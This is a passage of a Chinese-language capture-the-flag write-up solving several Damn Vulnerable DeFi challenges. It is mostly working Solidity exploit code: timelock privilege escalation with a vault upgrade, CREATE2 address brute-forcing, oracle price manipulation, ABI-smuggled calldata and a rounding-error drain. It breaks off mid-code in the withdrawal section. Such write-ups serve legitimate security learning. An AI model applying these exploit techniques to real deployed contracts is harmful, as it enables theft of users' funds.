}<\/code><\/pre>\n<h3>climber<\/h3>\n<p>\u6709\u70b9\u5c0f\u96be\u96be\u4e86<\/p>\n<p>\u95ee\u9898\u4e3b\u8981\u51fa\u5728timelock\u91cc\u7684execute\u65b9\u6cd5\u91cc\uff0c\u53ef\u4ee5\u53d1\u73b0\u662f\u5148execute\u518d\u68c0\u67e5\u5408\u6cd5\u6027\uff0c\u6240\u4ee5\u53ef\u4ee5\u5728execute\u91cc\u5148grantrole\u628a\u81ea\u5df1\u53d8\u6210proposer\u7136\u540e\u6240\u6709\u64cd\u4f5c\u7ed3\u675f\u540e\u5728execute\u7684\u6700\u540e\u4e00\u6761\u91cc\u52a0\u4e0a\u4e00\u4e2aschedule\u7684\u8fc7\u7a0b\uff0c\u8fd8\u8981\u628adelay\u6539\u62100\u8fd9\u6837\u5c31\u53ef\u4ee5\u901a\u8fc7\u5408\u6cd5\u6027\u68c0\u6d4b<\/p>\n<p>\u6240\u4ee5\u601d\u8def\u5982\u4e0b(\u4e00\u5f00\u59cb\u4e00\u76f4\u5728\u601d\u8003\u80fd\u4e0d\u80fd\u6539sweeper\uff0c\u8fd9\u6837\u4f3c\u4e4e\u662f\u6389\u5165\u4e86\u5154\u5b50\u6d1e)<\/p>\n<pre class=\"prettyprint linenums\" ><code>1.\u628a\u81ea\u5df1\u7684attack\u5408\u7ea6\u53d8\u6210proposer\n2.\u5347\u7ea7vault\u4e3a\u81ea\u5df1\u7684attack\u5408\u7ea6\u5e76\u5728data\u5b57\u6bb5\u91cc\u5199\u5165\u8f6c\u8d26\u7684calldata\uff0c\u56e0\u4e3a\u539f\u6765\u7684\u903b\u8f91\u5408\u7ea6\u5e94\u8be5\u662f\u6ca1\u529e\u6cd5\u8f6c\u8d70\u94b1\u7684\uff0c\u9664\u975e\u6539sweeper\n3.\u4fee\u6539delay\u4e3a0\n4.\u8c03\u7528attack\u5408\u7ea6\u4f7f\u5176\u5c06\u6240\u6709\u884c\u4e3a\u8fdb\u884c\u4e00\u4e2aschedule<\/code><\/pre>\n<p>exp(\u7531\u4e8e\u4ee3\u7406\u5408\u7ea6\u5230\u903b\u8f91\u5408\u7ea6\u662fdelegatecall\u6240\u4ee5Hack\u5408\u7ea6\u91cc\u9762\u7684test\u51fd\u6570\u8981\u63d0\u4f9b\u6240\u6709\u53c2\u6570\uff0c\u4e0d\u7136\u5c31\u5168\u662f0\uff0c\u56e0\u4e3a\u4ee3\u7406\u5408\u7ea6\u91cc\u6ca1\u6709)\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_climber() public checkSolvedByPlayer {\n        Hack hack = new Hack(\n            address(timelock),\n            address(vault),\n            address(token),\n            recovery\n        );\n        address[] memory targets = new address[](4);\n        uint256[] memory values = new uint256[](4);\n        bytes[] memory dataElements = new bytes[](4);\n        targets[0] = address(timelock);\n        values[0] = 0;\n        dataElements[0] = abi.encodeWithSignature(\n            &quot;grantRole(bytes32,address)&quot;,\n            keccak256(&quot;PROPOSER_ROLE&quot;),\n            address(hack)\n        );\n        targets[1] = address(vault);\n        values[1] = 0;\n        dataElements[1] = abi.encodeWithSignature(\n            &quot;upgradeToAndCall(address,bytes)&quot;,\n            address(hack),\n            abi.encodeWithSignature(\n                &quot;test(address,address,address)&quot;,\n                address(token),\n                address(vault),\n                recovery\n            )\n        );\n        targets[2] = address(timelock);\n        values[2] = 0;\n        dataElements[2] = abi.encodeCall(ClimberTimelock.updateDelay, 0);\n        targets[3] = address(hack);\n        values[3] = 0;\n        dataElements[3] = abi.encodeWithSignature(&quot;attack()&quot;);\n\n        timelock.execute(targets, values, dataElements, bytes32(&quot;114514&quot;));\n    }\n\ncontract Hack is ClimberVault {\n    ClimberTimelock timelock;\n    ClimberVault vault;\n    DamnValuableToken token;\n    address recovery;\n\n    constructor(\n        address _timelock,\n        address _vault,\n        address _token,\n        address _recovery\n    ) {\n        timelock = ClimberTimelock(payable(_timelock));\n        vault = ClimberVault(_vault);\n        token = DamnValuableToken(_token);\n        recovery = _recovery;\n    }\n\n    function attack() external {\n        address[] memory targets = new address[](4);\n        uint256[] memory values = new uint256[](4);\n        bytes[] memory dataElements = new bytes[](4);\n        targets[0] = address(timelock);\n        values[0] = 0;\n        dataElements[0] = abi.encodeWithSignature(\n            &quot;grantRole(bytes32,address)&quot;,\n            keccak256(&quot;PROPOSER_ROLE&quot;),\n            address(this)\n        );\n        targets[1] = address(vault);\n        values[1] = 0;\n        dataElements[1] = abi.encodeWithSignature(\n            &quot;upgradeToAndCall(address,bytes)&quot;,\n            address(this),\n            abi.encodeWithSignature(\n                &quot;test(address,address,address)&quot;,\n                address(token),\n                address(vault),\n                recovery\n            )\n        );\n        targets[2] = address(timelock);\n        values[2] = 0;\n        dataElements[2] = abi.encodeCall(ClimberTimelock.updateDelay, 0);\n        targets[3] = address(this);\n        values[3] = 0;\n        dataElements[3] = abi.encodeWithSignature(&quot;attack()&quot;);\n        timelock.schedule(targets, values, dataElements, bytes32(&quot;114514&quot;));\n    }\n\n    function test(address token, address vault, address recovery) external {\n        IERC20(token).transfer(\n            recovery,\n            IERC20(token).balanceOf(address(vault))\n        );\n    }\n}<\/code><\/pre>\n<h3>wallet-mining<\/h3>\n<p>\u4e00\u5f00\u59cb\u6ca1\u505a\u51fa\u6765\uff0c\u6839\u672c\u627e\u4e0d\u5230nonce\u53bb\u751f\u6210\u7ed9\u7684\u5730\u5740\uff0c\u770b\u4e86wp\u4e5f\u6ca1\u7528\uff0c\u76f4\u63a5\u590d\u5236wp\u7684exp\u4e5f\u8dd1\u4e0d\u51fa\u6765\uff0c\u7ed9\u6211gas\u90fd\u5e72\u98de\u4e86\u4e5f\u6ca1\u6709\uff0c\u4e0d\u77e5\u9053\u662f\u5565\u95ee\u9898<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/67a97dcad0e0a243d4fdce6f.png\" alt=\"\" \/><\/p>\n<p>\u6700\u7ec8\u628a\u9898\u76ee\u91cc\u7684\u5730\u5740\u6362\u6210\u4e860xF8328bcAB198A23488Ea526bf56560705C4e423a\uff0c\u53ef\u4ee5\u5728nonce\u4e3a3\u7684\u60c5\u51b5\u4e0b\u751f\u6210<\/p>\n<p>\u5927\u6982\u83b7\u53d6\u53c2\u6570\u7684\u8fc7\u7a0b\u662f\u8fd9\u6837\u7684<\/p>\n<pre class=\"prettyprint linenums\" ><code>console.logBytes(\n            abi.encodePacked(\n                type(SafeProxy).creationCode,\n                uint256(uint160(address(singletonCopy)))\n            )\n        );\n        address[] memory owners = new address[](1);\n        owners[0] = user;\n        bytes memory initializer = abi.encodeWithSignature(\n            &quot;setup(address[],uint256,address,bytes,address,address,uint256,address)&quot;,\n            owners,\n            1,\n            address(0),\n            &quot;&quot;,\n            address(0),\n            address(0),\n            0,\n            address(0)\n        );\n        console.logBytes(initializer);<\/code><\/pre>\n<p>\u518d\u628a\u7ed3\u679c\u586b\u5165python\u811a\u672c\u8fdb\u884c\u7206\u7834\u5c31\u884c(s1=0xff+factory\u5730\u5740\uff0cs3=keccak(\u5408\u7ea6\u5b57\u8282\u7801))<\/p>\n<pre class=\"prettyprint linenums\" ><code>from web3 import Web3\n\ns1 = &#039;0xff6B35AE5369Ee7c8Bf7beb043B9BB3D0613aA0DC0&#039;\n\ns3 = &#039;b8e47c85f88b5df72f3116ced24853e189ad3e9045c7e4838ecc30cd81d645d1&#039;\n\ni = 0\nfor i in range(100):\n    salt = Web3.keccak(bytes.fromhex(Web3.keccak(hexstr=&#039;0xb63e800d0000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000006ca6d1e2d5347bfab1d91e883f1915560e09129d0000000000000000000000000000000000000000000000000000000000000000&#039;).hex()[\n                       2:] + hex(i)[2:].rjust(64, &#039;0&#039;))).hex()[2:]\n    s = s1+salt+s3\n    hashed = Web3.keccak(hexstr=s)\n    hashed_str = &#039;&#039;.join([&#039;%02x&#039; % b for b in hashed])\n    # print(hashed_str[24:])\n    print(hashed_str[24:])\n    if (hashed_str[24:] == &quot;f8328bcab198a23488ea526bf56560705c4e423a&quot;):\n        print(i)\n        break\n<\/code><\/pre>\n<p>\u7136\u540e\u5c31\u53ef\u4ee5\u76f4\u63a5\u5c06\u5408\u7ea6\u90e8\u7f72\u5230\u6307\u5b9a\u4f4d\u7f6e<\/p>\n<p>\u4f46\u662f\u76ee\u524ddeployer\u91cc\u9762\u7684can\u65b9\u6cd5\u662f\u65e0\u6cd5\u901a\u8fc7\u7684\uff0c\u8981\u60f3\u4f7f\u5176\u8fd4\u56detrue\u53ea\u80fd\u5728AuthorizerUpgradeable\u91cc\u9762\u8c03\u7528_rely\uff0c\u6216\u8005\u8bf4\u662f\u662f\u8c03\u7528init\u51fd\u6570\uff0c\u8fd9\u91cc\u5c31\u6bd4\u8f83\u6709\u610f\u601d\u4e86\uff0c\u56e0\u4e3aAuthorizerUpgradeable\u53ea\u662f\u4e00\u4e2a\u903b\u8f91\u5408\u7ea6\uff0c\u5176\u4ee3\u7406\u5408\u7ea6\u662fTransparentProxy\uff0c\u6240\u4ee5\u5982\u679c\u6211\u4eec\u671d\u7740\u8fd9\u4e2a\u5408\u7ea6\u8c03\u7528init\u65b9\u6cd5\u7684\u8bdd\uff0c\u6240\u68c0\u67e5\u7684needsInit\u5176\u5b9e\u662f\u4ee3\u7406\u5408\u7ea6\u4e2d\u4f4d\u4e8eslot1\u7684\u53d8\u91cf\uff0c\u4e5f\u5c31\u662fupgrader\uff0c\u800cupgrader\u5df2\u7ecf\u88ab\u521d\u59cb\u5316\u8fc7\u4e86\uff0c\u6240\u4ee5\u8bf4\u8fd9\u91cc\u7684needsInit\u8bfb\u53d6\u51fa\u6765\u7684\u503c\u662fuint256(upgrader)\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u518d\u6b21\u8c03\u7528init\u51fd\u6570\u662f\u7684\u6211\u4eec\u80fd\u591f\u6709\u6743\u9650\u53bb\u90e8\u7f72\u5408\u7ea6\u9886\u53d6airdrop<\/p>\n<p>\u90e8\u7f72\u5b8c\u4e4b\u540e\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u5bf9\u7740\u90e8\u7f72\u540e\u7684\u5408\u7ea6call\u4e00\u4e0bexecTransaction\u65b9\u6cd5\u628a\u4f59\u989d\u8f6c\u7ed9user\u5c31\u884c\uff0c\u6ce8\u610f\u4e00\u4e0b\u5199\u6cd5\u4e0d\u7136\u4f1a\u5bfc\u81f4stack too deep\uff0c\u540c\u65f6\u9898\u76ee\u8fd8\u6709\u6761\u4ef6\u662fplayer\u53ea\u80fd\u6709\u4e00\u6b21\u4ea4\u6613\uff0c\u90a3\u4e48\u5c31\u5199\u4e2a\u5408\u7ea6\uff0c\u8ba9\u6240\u6709\u6b65\u9aa4\u90fd\u5728\u6784\u9020\u51fd\u6570\u91cc\u8fdb\u884c\u5c31\u884c\u4e86<\/p>\n<p>exp\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_walletMining() public checkSolvedByPlayer {\n        Enum.Operation operation = Enum.Operation.Call;\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(\n            userPrivateKey,\n            keccak256(\n                hex&quot;1901ab44818b21f3d7aae496f701d747e76f4a7a4e9aef48eefcf9f7289e3c080b5ed1fec887a43aabf6d2c9c81d3322b11e4eb97b080f85123f60f96ead78092611&quot;\n            )\n        );\n        bytes memory sig = abi.encodePacked(r, s, v);\n        bytes memory final_call_data_to_avoid_too_deep = abi.encodeCall(\n            Safe.execTransaction,\n            (\n                address(token),\n                0,\n                abi.encodeWithSignature(\n                    &quot;transfer(address,uint256)&quot;,\n                    user,\n                    20_000_000e18\n                ),\n                operation,\n                0,\n                0,\n                0,\n                address(0),\n                payable(0),\n                sig\n            )\n        );\n        Hack hack = new Hack(\n            walletDeployer,\n            token,\n            authorizer,\n            user,\n            ward,\n            USER_DEPOSIT_ADDRESS,\n            final_call_data_to_avoid_too_deep\n        );\n    }\n\n    contract Hack {\n    constructor(\n        WalletDeployer walletDeployer,\n        DamnValuableToken token,\n        AuthorizerUpgradeable authorizer,\n        address user,\n        address ward,\n        address USER_DEPOSIT_ADDRESS,\n        bytes memory final_call_data_to_avoid_too_deep\n    ) {\n        address[] memory owners = new address[](1);\n        owners[0] = user;\n        bytes memory initializer = abi.encodeWithSignature(\n            &quot;setup(address[],uint256,address,bytes,address,address,uint256,address)&quot;,\n            owners,\n            1,\n            address(0),\n            &quot;&quot;,\n            address(0),\n            address(0),\n            0,\n            address(0)\n        );\n        address[] memory wards = new address[](1);\n        wards[0] = address(this);\n        address[] memory aims = new address[](1);\n        aims[0] = USER_DEPOSIT_ADDRESS;\n        authorizer.init(wards, aims);\n        walletDeployer.drop(USER_DEPOSIT_ADDRESS, initializer, 3);\n        Enum.Operation operation = Enum.Operation.Call;\n        token.transfer(ward, 1 ether);\n        USER_DEPOSIT_ADDRESS.call(final_call_data_to_avoid_too_deep);\n    }\n}<\/code><\/pre>\n<h3>puppet-v3<\/h3>\n<p>\u548c\u524d\u4e24\u4e2a\u4e00\u6837\uff0c\u90fd\u662f\u628a\u81ea\u5df1\u7684token\u6362\u6210weth\u7136\u540e\u5c31\u53ef\u4ee5\u63a7\u5236\u4ef7\u683c\u53bbborrow\u4e86\uff0c\u8fd9\u91cc\u53ea\u6709\u4e00\u70b9\u70b9\u4e0d\u4e00\u6837\u90a3\u5c31\u662frouter\u5730\u5740\u5f97\u81ea\u5df1\u627e\u4ee5\u53ca\u4ef7\u683c\u8ba1\u7b97\u662f\u65f6\u95f4\u52a0\u6743\u5e73\u5747\u4ef7\u683c\uff0c\u6240\u4ee5\u6362\u5b8cweth\u4e4b\u540e\u5f97\u8c03\u4e00\u4e0b\u65f6\u95f4<\/p>\n<p>\u8fd9\u9898\u8fd8\u8981\u81ea\u5df1\u9009\u4e00\u4e2arpc\uff0c\u76f4\u63a5fork\u4ee5\u592a\u574a\u4e3b\u7f51\u5c31\u884c\u4e86\uff0c\u81ea\u5df1\u7533\u8bf7\u4e2aapi<\/p>\n<p>\u7136\u540e\u53ef\u4ee5\u53bbgoogle\u641c\u5230uniswapv3\u7684router\u5728\u4ee5\u592a\u574a\u4e3b\u7f51\u4e0a\u7684\u5730\u5740\uff1a0xE592427A0AEce92De3Edee1F18E0157C05861564<\/p>\n<p>\u540e\u9762\u8df3\u8fc7\u65f6\u95f4\u76f4\u63a5\u7528foundry\u7684cheatcode:vm.warp<\/p>\n<p>\u68c0\u67e5\u51fd\u6570\u91cc\u9762\u9650\u5236\u4e86\u4e0d\u80fd\u8df3\u592a\u591a\uff0c\u53ea\u8df3\u4e86100\u79d2\u4e5f\u591f\u4e86\uff0c\u56e0\u4e3a\u81ea\u5df1\u7684token\u6570\u91cf\u5c31\u5df2\u7ecf\u8db3\u591f\u628a\u6d41\u52a8\u6027\u6c60\u91cc\u9762\u7684weth\u6362\u7a7a\u4e86<\/p>\n<p>exp\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_puppetV3() public checkSolvedByPlayer {\n        ISwapRouter router = ISwapRouter(\n            0xE592427A0AEce92De3Edee1F18E0157C05861564\n        );\n        token.approve(address(router), type(uint256).max);\n        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter\n            .ExactInputSingleParams(\n                address(token),\n                address(weth),\n                3000,\n                player,\n                block.timestamp * 2,\n                PLAYER_INITIAL_TOKEN_BALANCE,\n                0,\n                0\n            );\n        router.exactInputSingle(params);\n        weth.approve(address(lendingPool), type(uint256).max);\n        vm.warp(block.timestamp + 100);\n        lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);\n        token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);\n    }<\/code><\/pre>\n<h3>abi-smuggling<\/h3>\n<p>\u5408\u7ea6\u5f88\u77ed\uff0c\u76ee\u6807\u662f\u628avault\u91cc\u6240\u6709\u4ee3\u5e01\u8f6c\u5230recovery\u8d26\u6237\uff0c\u6ce8\u610f\u5230\u6709\u4e2a\u51fd\u6570\u662f\u76f4\u63a5\u8f6caddress(this).balance<\/p>\n<pre class=\"prettyprint linenums\" ><code>function sweepFunds(address receiver, IERC20 token) external onlyThis {\n        SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));\n    }<\/code><\/pre>\n<p>\u4e8e\u662f\u672c\u9898\u76ee\u6807\u5927\u6982\u7387\u5c31\u662f\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u4f46\u662f\u6709\u4e2aonlyThis\u7684modifier<\/p>\n<pre class=\"prettyprint linenums\" ><code>modifier onlyThis() {\n        if (msg.sender != address(this)) {\n            revert CallerNotAllowed();\n        }\n        _;\n    }<\/code><\/pre>\n<p>\u4e8e\u662f\u5c31\u5f97\u770b\u770b\u522b\u7684\u529f\u80fd\uff0c\u6bd4\u5982\u8fd9\u4e2aexecute<\/p>\n<pre class=\"prettyprint linenums\" ><code>function execute(\n        address target,\n        bytes calldata actionData\n    ) external nonReentrant returns (bytes memory) {\n        \/\/ console.logBytes(msg.data);\n        \/\/ Read the 4-bytes selector at the beginning of `actionData`\n        bytes4 selector;\n        uint256 calldataOffset = 4 + 32 * 3; \/\/ calldata position where `actionData` begins\n        assembly {\n            selector := calldataload(calldataOffset)\n        }\n        \/\/ console.logBytes(abi.encodePacked(selector, msg.sender, target));\n        if (!permissions[getActionId(selector, msg.sender, target)]) {\n            revert NotAllowed();\n        }\n\n        _beforeFunctionCall(target, actionData);\n\n        return target.functionCall(actionData);\n    }<\/code><\/pre>\n<p>\u5176\u4e2d\u7684permissions\u662f\u8fd9\u6837\u8bbe\u7f6e\u7684<\/p>\n<pre class=\"prettyprint linenums\" ><code>bytes32 deployerPermission = vault.getActionId(\n            hex&quot;85fb709d&quot;,\n            deployer,\n            address(vault)\n        );\n        bytes32 playerPermission = vault.getActionId(\n            hex&quot;d9caed12&quot;,\n            player,\n            address(vault)\n        );<\/code><\/pre>\n<p>\u5176\u4e2d85fb709d\u548cd9caed12\u5206\u522b\u662fsweepFunds\u548cwithdraw\u51fd\u6570\u7684\u9009\u62e9\u5668<\/p>\n<p>\u7531\u4e8emsg.sender\u786e\u5b9e\u6539\u4e0d\u4e86\u3002\u6240\u4ee5\u9700\u8981\u81ea\u884c\u6784\u9020calldata\u53bb\u8ba9\u4ed6\u5185\u8054\u6c47\u7f16\u5f97\u5230\u7684selector\u662fd9caed12\u800c\u5b9e\u9645\u8c03\u7528\u7684\u5176\u5b9e\u662fsweepFunds\u7684\uff0c\u4e5f\u7b97\u662f\u7ecf\u5178\u95ee\u9898\u4e86\uff0c\u4e5f\u4e0d\u591a\u8bf4\uff0c\u76f4\u63a5\u4e0acalldata<\/p>\n<pre class=\"prettyprint linenums\" ><code>1cff79cd \/\/execute\u51fd\u6570\u7684\u9009\u62e9\u5668\n0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 \/\/target\u53c2\u6570(\u53ea\u80fd\u8bbe\u4e3aaddress(vault))\n0000000000000000000000000000000000000000000000000000000000000080 \/\/ \u504f\u79fb\uff0c\u5229\u7528\u8fd9\u91cc\u7684\u4fbf\u5b9c\u4f7f\u5f97\u5b9e\u9645\u4f7f\u7528\u7684actionData\u662f\u540e\u9762\u90a3\u4e2a\n0000000000000000000000000000000000000000000000000000000000000000 \/\/ \u8865\u5565\u90fd\u884c\nd9caed1200000000000000000000000000000000000000000000000000000000 \/\/execute\u91cc\u7684selector\u5c31\u53d6\u7684\u8fd9\u4e2a\n0000000000000000000000000000000000000000000000000000000000000044 \/\/\u771f\u6b63\u7684actionData\u5f00\u59cb\n85fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000<\/code><\/pre>\n<p>\u4e0b\u9762\u8fd9\u6bb5\u4e5f\u7b80\u5355\u8bf4\u4e00\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>85fb709d \/\/sweepFunds\u7684\u9009\u62e9\u5668\n00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa \/\/ recovery\n0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b \/\/ token\n00000000000000000000000000000000000000000000000000000000 \/\/\u8865\u523032\u6574\u6570\u500d<\/code><\/pre>\n<p>\u6784\u9020\u5b8c\u76f4\u63a5call\u5c31\u884c<\/p>\n<pre class=\"prettyprint linenums\" ><code>bytes memory final_call = hex&quot;1cff79cd0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b26400000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000d9caed1200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004485fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000&quot;;\naddress(vault).call(final_call);<\/code><\/pre>\n<p>test\u4e00\u4e0b\u53ef\u4ee5\u770b\u5230\u975e\u5e38\u6210\u529f<\/p>\n<pre class=\"prettyprint linenums\" ><code>forge test -vvvvv --mp .\/test\/abi-smuggling\/ABISmuggling.t.sol<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/6795063cd0e0a243d4f7f662.png\" alt=\"\" \/><\/p>\n<h3>shards<\/h3>\n<p>\u7565\u663e\u62bd\u8c61\uff0c\u7531\u4e8e\u5f00\u5c40\u662f\u5565\u4e5f\u6ca1\u6709\u7684\uff0c\u4e8e\u662f\u7b80\u5355\u770b\u4e86\u770bmarket\u5408\u7ea6\u7ed3\u679cfuzz\u51fafill\u65b9\u6cd5\u5728fill\u5f88\u5c11\u4e00\u90e8\u5206shards\u7684\u65f6\u5019\u5176\u5b9e\u7b97\u51fa\u6765\u6240\u9700\u8981\u7684\u8d39\u7528\u4f1a\u56e0\u4e3a\u7cbe\u5ea6\u95ee\u9898\u53d8\u62100\uff0c\u800ccancel\u8fd9\u7b14\u4ea4\u6613\u5374\u4f1a\u8fd4\u8fd8\u4e00\u5b9a\u7684token\uff0c\u6240\u4ee5\u5c31\u5faa\u73af\u5c31\u884c\u4e86\uff0c\u7ed3\u679c\u7b2c\u4e8c\u6b21market\u5c31\u76f4\u63a5\u4f59\u989d\u4e0d\u8db3\u4e86\uff0c\u8fd8\u5f97\u5c11fill\u4e00\u70b9\uff0c\u7531\u4e8e\u9650\u5236\u4e00\u7b14\u4ea4\u6613\uff0c\u6240\u4ee5\u5c31\u5199\u4e2a\u5408\u7ea6\u653e\u5728\u6784\u9020\u51fd\u6570\u91cc\uff0c\u6d4b\u8bd5exp\u65f6\u5019\u8bb0\u5f97\u52a0--isolate<\/p>\n<p>exp(\u524d\u9762\u4e24\u4e2aconsole.log\u662f\u5728fuzz\u8fd9\u4e2afill\u548ccancel\uff0c\u4e3a\u4e86\u65b9\u4fbf\u8fd8\u628amarket\u5408\u7ea6\u91cc\u7684toDVT\u6539\u6210\u4e86public)\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_shards() public checkSolvedByPlayer {\n        console.log(\n            uint256(130).mulDivDown(\n                marketplace._toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE),\n                NFT_OFFER_SHARDS\n            )\n        );\n        console.log(uint256(130).mulDivUp(MARKETPLACE_INITIAL_RATE, 1e6));\n        Hack hack = new Hack(\n            ShardsNFTMarketplace(address(marketplace)),\n            DamnValuableToken(address(token)),\n            recovery\n        );\n    }\n\n    function calc_shards(uint256 balance) public returns (uint256 shards) {\n        shards = balance.mulDivDown(\n            NFT_OFFER_SHARDS,\n            marketplace._toDVT(NFT_OFFER_PRICE, MARKETPLACE_INITIAL_RATE)\n        );\n    }\n\n    contract Hack {\n    constructor(\n        ShardsNFTMarketplace marketplace,\n        DamnValuableToken token,\n        address recovery\n    ) {\n        token.approve(address(marketplace), type(uint256).max);\n        marketplace.fill(1, 130);\n        marketplace.cancel(1, 0);\n        marketplace.fill(1, 1300000000);\n        marketplace.cancel(1, 1);\n        token.transfer(recovery, token.balanceOf(address(this)));\n    }\n}<\/code><\/pre>\n<h3>curvy-puppet<\/h3>\n<p>\u70b8\u4e86\uff0c\u6ca1\u505a\u51fa\u6765\uff0c\u4e3b\u8981\u662f\u8981\u53bb\u731b\u52a0\u6d41\u52a8\u6027\uff0c\u4f46\u662f\u8fd9\u662f\u4ee5\u592a\u574a\u4e3b\u7f51\uff0c\u60f3\u731b\u52a0\u6d41\u52a8\u6027\u53bb\u63a7\u5236LP\u7684\u4ef7\u683c\u8fd8\u662f\u5f88\u96be\u7684\uff0c\u5411aave\u501f\u4e86\u95ea\u7535\u8d37\u4f46\u662f\u5982\u679c\u8981\u6ee1\u8db3\u6761\u4ef6\u6536\u56de\u4e09\u4eba\u7684\u8d28\u62bc\u7684\u8bdd\u5c31\u8981\u5411aave\u501f\u5927\u91cf\u4ee3\u5e01\u6700\u7ec8\u81ea\u5df1\u7684\u4ee3\u5e01\u662f\u4e0d\u591f\u8fd8\u7684\uff0c\u4f46\u662f\u5982\u679c\u7528\u514d\u8d39\u7684flashloan\u91cc\u9762\u7684\u4ee3\u5e01\u53c8\u592a\u5c11\u4e86\uff0c\u6700\u7ec8\u662f\u501f\u9274\u4e86\u4e00\u4e0b<a href=\"https:\/\/github.com\/SunWeb3Sec\/damn-vulnerable-defi-v4-solutions\/blob\/main\/test\/curvy-puppet\/CurvyPuppet.t.sol\">\u522b\u4eba\u7684wp<\/a>\u7684\u601d\u8def\uff0c\u4ed6\u662f\u501f\u4e86\u4e24\u5bb6flashloan<\/p>\n<p>\u5173\u952e\u662f\u589e\u52a0\u6d41\u52a8\u6027\u4e4b\u540e\u518d\u53bb\u8c03\u7528remove_liquidity\uff0ceth\u8f6c\u8fc7\u6765\u7684\u65f6\u5019\u8c03\u7528receive\u8fd9\u65f6\u5019\u518d\u53bbliquidate\uff0c\u5c31\u53ef\u4ee5\u5728LP\u4ef7\u683c\u8fd8\u9ad8\u7684\u65f6\u5019\u901a\u8fc7collateralValue &gt;= borrowValue\u8fd9\u4e2a\u6761\u4ef6\uff0c\u6709\u70b9reentrancy\u7684\u5473\u9053<\/p>\n<p>\u8fd9\u9898\u6700\u96be\u7684\u5c31\u662f\u63a7\u5236\u501f\u7684\u4ee3\u5e01\u6570\u91cf\u4ee5\u53cafee\u4e0d\u8981\u592a\u5927\uff0c\u8fd8\u662f\u633a\u96be\u63a7\u5236\u7684\uff0c\u6700\u597d\u8fd8\u662f\u521d\u59cb\u591a\u7ed9\u4e00\u70b9<\/p>\n<p>\u4ee3\u7801\u6709\u70b9\u957f\uff0c\u653egithub\u91cc\u4e86<\/p>\n<h3>withdrawal<\/h3>\n<p>\u8fd9\u4e2a\u4e0d\u96be\uff0c\u901a\u8fc7L2MessageStore.sol\u53ef\u4ee5\u4e86\u89e3\u5230withdrawals.json\u4e2d\u6d88\u606f\u7684\u683c\u5f0f<\/p>\n<pre class=\"prettyprint linenums\" ><code>event MessageStored(\n        bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data\n    );<\/code><\/pre>\n<p>\u4e5f\u5c31\u662ftopic\u91cc\u9762\u88c5\u7684\u662fnonce\uff0ccaller\u548ctarget\uff0cdata\u91cc\u9762\u88c5\u7684\u662fid\uff0ctimestamp\u548cdata\uff0c\u5c31\u53ef\u4ee5\u4f9d\u6b21\u89e3\u6790\u51fa\u5404\u79cd\u53c2\u6570\uff0c\u5728\u6b64\u62ffnonce\u4e3a1\u7684\u4e3e\u4f8b<\/p>\n<pre class=\"prettyprint linenums\" ><code>0b130175aeb6130c81839d7ad4f580cd18931caf177793cd3bab95b8cbb8de60\n\n0000000000000000000000000000000000000000000000000000000066729b95\n\n00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000104\n\n01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd5000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000044\n\n81191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<\/code><\/pre>\n<p>\u5927\u6982\u5c31\u662f\u8fd9\u6837\uff0c\u901a\u8fc7\u5728\u5408\u7ea6\u91cc\u8f93\u51fa\u76f8\u5e94\u7684selector<\/p>\n<pre class=\"prettyprint linenums\" ><code>        console.logBytes4(l1TokenBridge.executeTokenWithdrawal.selector); \/\/0x81191e51\n        console.logBytes4(l1Forwarder.forwardMessage.selector); 